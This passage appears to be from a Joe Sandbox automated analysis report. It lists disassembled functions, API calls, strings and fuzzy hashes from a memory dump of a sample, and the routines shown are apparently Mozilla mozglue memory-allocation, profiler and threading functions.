Instruction ID: ef3447c270a80394fa903f099f6e04c7d575b22ec268f74d1fabfcd1fb1e1b56
Opcode Fuzzy Hash: db0286daf95d1de2cc71536102ff45c498be0fc8e5bb253678139028ea9e17d7
Instruction Fuzzy Hash: 2331F472A011058BCB188E7CD9508BE77E9BB813647280B3DE973DBBD4EB30D9848791

Function 6CADAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CAEE330,?,6CA9C059), ref: 6CADAD9D

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CAEE330,?,6CA9C059), ref: 6CADADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CAEE330,?,6CA9C059), ref: 6CADAE01
GetLastError.KERNEL32(?,00000000,?,?,6CAEE330,?,6CA9C059), ref: 6CADAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CAEE330,?,6CA9C059), ref: 6CADAE3D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b9c5093ef8331279533b98c4e3214c6735d3cd874ed3f5fac62338cfc79fc6d8
Instruction ID: d65c9ee8246ba73a4383083455a4eca7b1bf0033803e2f81139f34110ef75be7
Opcode Fuzzy Hash: b9c5093ef8331279533b98c4e3214c6735d3cd874ed3f5fac62338cfc79fc6d8
Instruction Fuzzy Hash: 413152B1A003169FDB14DF759D44AABBBF9EF48614F15882DE85AD7700EB34E844CBA0

Function 6CAD5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CAEDCA0,?,?,?,6CAAE8B5,00000000), ref: 6CAD5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAAE8B5,00000000), ref: 6CAD5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CAAE8B5,00000000), ref: 6CAD5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CAAE8B5,00000000), ref: 6CAD5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAAE8B5,00000000), ref: 6CAD5FD6

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4f899a73d7ab0bdbf831a191a9dc1e5856ba323bb3ec5cf7e6f58bd07a52f8ec
Instruction ID: 320f70b79ee504d1b8ca77b5fac186551e0f8f7f79b3dd95eb15adcb6deaf4de
Opcode Fuzzy Hash: 4f899a73d7ab0bdbf831a191a9dc1e5856ba323bb3ec5cf7e6f58bd07a52f8ec
Instruction Fuzzy Hash: 19318C743006008FD714CF29D898E2AB7F9FF89319B698658E5668BB95C731FC81CB91

Function 6CA7B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA7B532
moz_xmalloc.MOZGLUE(?), ref: 6CA7B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA7B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA7B57E
free.MOZGLUE(00000000), ref: 6CA7B58F

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 99ac1f2ef3fad44ea269c8df4ebcf28ba9b9f7253c397f746aecdd4db9d5d936
Instruction ID: feec4586156236fe03de4f2f9a5808a06947dc63007abc9c251b2480d768ee20
Opcode Fuzzy Hash: 99ac1f2ef3fad44ea269c8df4ebcf28ba9b9f7253c397f746aecdd4db9d5d936
Instruction Fuzzy Hash: 182107B5A002059BDB108F68EC40BAABBB9FF45308F284229E819DB341E736D955C7A0

Function 6CAD76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAD76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAD7705

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAD7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAD778F,00000000,00000000,00000000,00000000), ref: 6CAD7731
free.MOZGLUE(00000000), ref: 6CAD7760

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 76525519ebc4ca35c956a267e05810de345523498df77356f3d81e7ea41e7370
Instruction ID: 8e49ff159711fd35e3a2ea286a5b56c2e6e1236cf79a8dacd8091cc5b4ce93eb
Opcode Fuzzy Hash: 76525519ebc4ca35c956a267e05810de345523498df77356f3d81e7ea41e7370
Instruction Fuzzy Hash: 8911B6B1901325ABE710AF759D44BABBEF8EF45354F05492AF848D7300E771988487E2

Function 6CAB0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA73DEF), ref: 6CAB0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA73DEF), ref: 6CAB0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA73DEF), ref: 6CAB0DAF

Strings

<jemalloc>, xrefs: 6CAB0D92, 6CAB0DB9
: (malloc) Error in VirtualFree(), xrefs: 6CAB0D97, 6CAB0DBE

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 304a68942f662cec43d7c159cf7ff61e897f84da8429aab9078db3712bbb3b1a
Instruction ID: 251cf0bf1b283b12a46607a7393365f5409a31b5d7fb14399dc3802963c93904
Opcode Fuzzy Hash: 304a68942f662cec43d7c159cf7ff61e897f84da8429aab9078db3712bbb3b1a
Instruction Fuzzy Hash: 21F080B138039923E51411696F09F57276D67C1B55F388135F325FADC0DA70E4C647A5

Function 6CAC7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CAC75C4,?), ref: 6CAC762B

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CAC74D7,6CAD15FC,?,?,?), ref: 6CAC7644
GetCurrentThreadId.KERNEL32 ref: 6CAC765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAC74D7,6CAD15FC,?,?,?), ref: 6CAC7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAC74D7,6CAD15FC,?,?,?), ref: 6CAC7677

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 00983e04b641287f4dac1dd572b57a378191856af219f4f86bdb53d38a11e80a
Instruction ID: 9d67cc0812ebfc346ad90e7ac5e785e087a7adf3b7050e007a011635ab00d8e4
Opcode Fuzzy Hash: 00983e04b641287f4dac1dd572b57a378191856af219f4f86bdb53d38a11e80a
Instruction Fuzzy Hash: 6AF0C275E10746ABD7008F21E888676B778FFEA259F128316F94543601E7B0A5D18BD1

Function 6CA9D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CAACBE8: GetCurrentProcess.KERNEL32(?,6CA731A7), ref: 6CAACBF1
Part of subcall function 6CAACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA731A7), ref: 6CAACBFA

EnterCriticalSection.KERNEL32(6CAFE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D4F2
LeaveCriticalSection.KERNEL32(6CAFE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D50B

Part of subcall function 6CA7CFE0: EnterCriticalSection.KERNEL32(6CAFE784), ref: 6CA7CFF6
Part of subcall function 6CA7CFE0: LeaveCriticalSection.KERNEL32(6CAFE784), ref: 6CA7D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D52E
EnterCriticalSection.KERNEL32(6CAFE7DC), ref: 6CA9D690
LeaveCriticalSection.KERNEL32(6CAFE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D751

Strings

MOZ_CRASH(), xrefs: 6CA9D4BB

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 03ff4a37eebade288984726511453ae9c2fdc7dc7589c1315a0fb7f44394cffe
Instruction ID: b354826464450bb1ebaf97685a271d89452b181edebea3545606fec175db2d45
Opcode Fuzzy Hash: 03ff4a37eebade288984726511453ae9c2fdc7dc7589c1315a0fb7f44394cffe
Instruction Fuzzy Hash: D6511471A147028FD318CF28C09535AB7F1EB89304F148A2EE6A9C7B84D731E8C5CB91

Function 6CAC4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAC4721

Strings

-%llu, xrefs: 6CAC4733
., xrefs: 6CAC476A
profiler-paused, xrefs: 6CAC46E4

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 273a1f7049b8f4b4d774d953f6ab9249a8b08f58d464ca658a1c694ae5c13005
Instruction ID: 3da26fb19cc6203c1269fa46b3615dfbe4bae220f5688413b1aa5f3ab8ed57e8
Opcode Fuzzy Hash: 273a1f7049b8f4b4d774d953f6ab9249a8b08f58d464ca658a1c694ae5c13005
Instruction Fuzzy Hash: 6B416871F047099BCB08DF78E8511AEBBE5EF85344F14862EE8555BB81EB309885C782

Function 6CAC46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAC4721

Part of subcall function 6CA74410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAB3EBD,00000017,?,00000000,?,6CAB3EBD,?,?,6CA742D2), ref: 6CA74444

Strings

-%llu, xrefs: 6CAC4733
., xrefs: 6CAC476A
profiler-paused, xrefs: 6CAC46E4

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 780ecbe3d28dd1c15f48599c135937783c7905d81281bfeabf7c2897fadc049d
Instruction ID: 78fd12280f2518d2d1c92dfac55c99423f9018451ed5cd4b418308156a2bb493
Opcode Fuzzy Hash: 780ecbe3d28dd1c15f48599c135937783c7905d81281bfeabf7c2897fadc049d
Instruction Fuzzy Hash: 39315C71F043085FCB0CDF6CE8812ADBBE6DB88314F18813DE8159BB41EB7498858B95

Function 6CACB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA74290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAB3EBD,6CAB3EBD,00000000), ref: 6CA742A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CACB127), ref: 6CACB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CACB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CACB4E4

Strings

pid:, xrefs: 6CACB4DE

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 51314ba99701b64834a7c64c3642253266e210fe89377468e622d9683b153ed4
Instruction ID: f75c216e260f73aaa240f0a820a3e6a9f46b286bf07c8b6fea9ee7b252c4764c
Opcode Fuzzy Hash: 51314ba99701b64834a7c64c3642253266e210fe89377468e622d9683b153ed4
Instruction Fuzzy Hash: 9131F731B05209DFDB10DFA9E940AEEB7B5FF05318F580619D41267A41D736A8C9CBE2

Function 6CABE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABE577
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABE584
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CABE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CABE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CABE826, 6CABE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CABE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CABE722, 6CABE750, 6CABE7A2
MOZ_PROFILER_STARTUP, xrefs: 6CABE5A1, 6CABE5CC, 6CABE5FF, 6CABE62A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 2481f501c3d451ee6a97d315b1840de4e67b0dd0344f96179756668763a2feb2
Instruction ID: a17d4d0168452c0949c138a32924ca3c0832cf4aad0962a021bcb5dbe5986c4a
Opcode Fuzzy Hash: 2481f501c3d451ee6a97d315b1840de4e67b0dd0344f96179756668763a2feb2
Instruction Fuzzy Hash: 4411AC31600349DFCA009F18E848A69BBF8FB89329F00461DE8A157A40D770A886CBA5

Function 6CAC0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAC0CD5

Part of subcall function 6CAAF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAAF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAC0D40
free.MOZGLUE ref: 6CAC0DCB

Part of subcall function 6CA95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA95EDB
Part of subcall function 6CA95E90: memset.VCRUNTIME140(6CAD7765,000000E5,55CCCCCC), ref: 6CA95F27
Part of subcall function 6CA95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA95FB2

free.MOZGLUE ref: 6CAC0DDD
free.MOZGLUE ref: 6CAC0DF2

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b704de8da19247284cc469483ef914fd642c97f9a177280c97c93b40fd007c73
Instruction ID: f9f3b3f9eb811b900721883cf5d071b09e87d91c3ba02bea55fae8207e4a3f8a
Opcode Fuzzy Hash: b704de8da19247284cc469483ef914fd642c97f9a177280c97c93b40fd007c73
Instruction Fuzzy Hash: B2412BB1A187849BD320CF29C14179AFBE5BFC9714F158A2EE8E887750D7709489CB93

Function 6CACCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CABDA31,00100000,?,?,00000000,?), ref: 6CACCDA4

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

Part of subcall function 6CACD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CACCDBA,00100000,?,00000000,?,6CABDA31,00100000,?,?,00000000,?), ref: 6CACD158
Part of subcall function 6CACD130: InitializeConditionVariable.KERNEL32(00000098,?,6CACCDBA,00100000,?,00000000,?,6CABDA31,00100000,?,?,00000000,?), ref: 6CACD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CABDA31,00100000,?,?,00000000,?), ref: 6CACCDC4

Part of subcall function 6CAC7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAD15FC,?,?,?,?,6CAD15FC,?), ref: 6CAC74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CABDA31,00100000,?,?,00000000,?), ref: 6CACCECC

Part of subcall function 6CA8CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA8CAA2

Part of subcall function 6CABCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CACCEEA,?,?,?,?,00000000,?,6CABDA31,00100000,?,?,00000000), ref: 6CABCB57
Part of subcall function 6CABCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CABCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CACCEEA,?,?), ref: 6CABCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CABDA31,00100000,?,?,00000000,?), ref: 6CACD058

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 4f6d74825de29093b1149f3b425dc503f9290d9467204c239eddb6b6bb561029
Instruction ID: e97c41c6df7c6c7594759ea1b68ed5a38d2608f7093c5526bdfcc2b928b892b9
Opcode Fuzzy Hash: 4f6d74825de29093b1149f3b425dc503f9290d9467204c239eddb6b6bb561029
Instruction Fuzzy Hash: 84D15E71B04B069FD708CF28C580799F7E1BF89308F05866DD8598B751EB31A9A5CBC2

Function 6CA95C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA95D40
EnterCriticalSection.KERNEL32(6CAFF688), ref: 6CA95D67
__aulldiv.LIBCMT ref: 6CA95DB4
LeaveCriticalSection.KERNEL32(6CAFF688), ref: 6CA95DED

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 2774c93f45232debe82522a67ddeb2445291f5c7076501c7c56fee69679099d9
Instruction ID: 38bbb27c9ea5306eb8cffdc59671de544ba44f4588e9cb70a00bd6dd8412edc9
Opcode Fuzzy Hash: 2774c93f45232debe82522a67ddeb2445291f5c7076501c7c56fee69679099d9
Instruction Fuzzy Hash: 1C517271E102668FCF08CFA8D856AAEBBF2FF85304F19861DD821A7750D7306946CB90

Function 6CA7CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA7CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA7CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA7CF4E

Strings

0, xrefs: 6CA7CF30

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
